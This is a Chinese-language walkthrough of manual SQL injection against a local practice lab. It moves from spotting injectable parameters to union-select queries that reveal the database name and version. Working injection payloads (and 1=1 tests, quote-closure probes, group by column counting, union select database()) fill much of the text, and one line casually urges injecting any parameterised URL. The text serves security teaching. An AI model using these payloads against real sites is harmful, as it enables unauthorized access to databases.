本文以在phpstudy搭建的靶场达坎为例。
步骤一:查找注入点。
如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。
交互点一般是搜索栏、留言版、登入/注册页面、以及最利于观察的搜索栏的地址如果类似于http//www.xxx.com/index.phpid=1这种很大程度存在注入当然有些注入点不会这么一眼看出会有些比较复杂例如http://www.xxx.com:50006/index.phpx=home&c=View&a=index&aid=9 这样的地址其实也可能存在注入。
管他什么地址只****=1(数字)就注就完事了。
步骤二:判断是字符型还是数字型注入。
方法一:用and 1=1与and 1=2来判断
在搜索框中加上index.php?id=1页面正常回显
使用and 1=1与and 1=2 来判段
index.php?id=1 and 1=1 (and语句两端都为真才能执行)
此时页面正常回显,用index.php?id=1 and 1=2,让我们看看会发生什么。
仍然正常回显,但1明显不等于2,故可以判断此页面为字符型注入。
此页面输入index.php?id=1 and 1=2(条件语句不为真)
不正常回显,说明此页面为数字型注入。
方法二:先输入index.php?id=1
再输入index.php?id=2-1(这里为什么不用加号捏,因为加号会被防火墙理解为空格)
如果两次页面回显一致则为数字型,不一致则为字符型。
原因:
康康源码!
可以看到字符型的id='$id'是有引号包裹的,引号内语句全部被理解为字符串,不执行。
而数字型则没有引号。
步骤三:如果是字符型需要判断闭合方式,是数字型则跳过这一步骤。
常见的闭合方式有 ’ " ') ") 。
在注入点输入(注意一定是英文字符 ' )
报错显示为 :
' '1' ' LIMIT 0,1 ' 可知第一个引号与最后一个引号配对 ,但'1' '这里却多了一个引号,就是我们输入的那个引号,可判断闭合方式为 ' 。
如果是没有报错回显的情况,则可以用判断真值的方法来判断闭合方式。
例如:输入index.php?id=1',页面显示错误
再输入index.php?id=1' --+,页面显示正确
则可以判断闭合方式为 ' 。
常见的注释符号有 ‘--+’,‘#’, ‘%23’。
步骤四:判断查询列数。
为什么要判断查询列数呢?
主要是为了union查询做准备,union查询又叫联合查询要求前后查询对象的列数要一致。
否则会返回报错信息:The used SELECT statements have a different number of columns.
(大意为前后查询的列数不一样)
方法:order by ,group by 加二分法。
例子:
输入:index.php?id=1' group by 10 --+
返回:错误
输入:index.php?id=1' group by 5 --+
返回:错误
输入:index.php?id=1' group by 2 --+
返回:错误
输入:index.php?id=1' group by 3 --+
返回:正常回显
得知当前表的列数为3。(使用order by 同理,但是order by 已经被大量防火墙禁用,建议注入的时候选择group by)
步骤五:查询回显位。
以步骤四为例,列数为三的情况下输入指令 index.php?id=1' union select 1,2,3 --+(1,2,3在此的意义可以理解为占位吧,反正我是这么理解的,因为union前面的列数为三则后面也需要有三列,否则会报错)
得到以下回显,有一个问题,为什么页面没有回显出1,2,3呢,不是说联合查询是两条语句一起执行吗?
答案是有的页面只会回显出第一列的结果,我们要做的就是让它查寻不到第一列
输入:index.php?id=-1' union select 1,2,3 --+
易知回显位为2,3
此时我们可以把指令修改为:index.php?id=-1' union select 1,2,database() --+
我们就找到了当前数据库的名称为security
输入index.php?id=-1' union select 1,version(),database() --+
得到:版本号为5.7.26,数据库名为security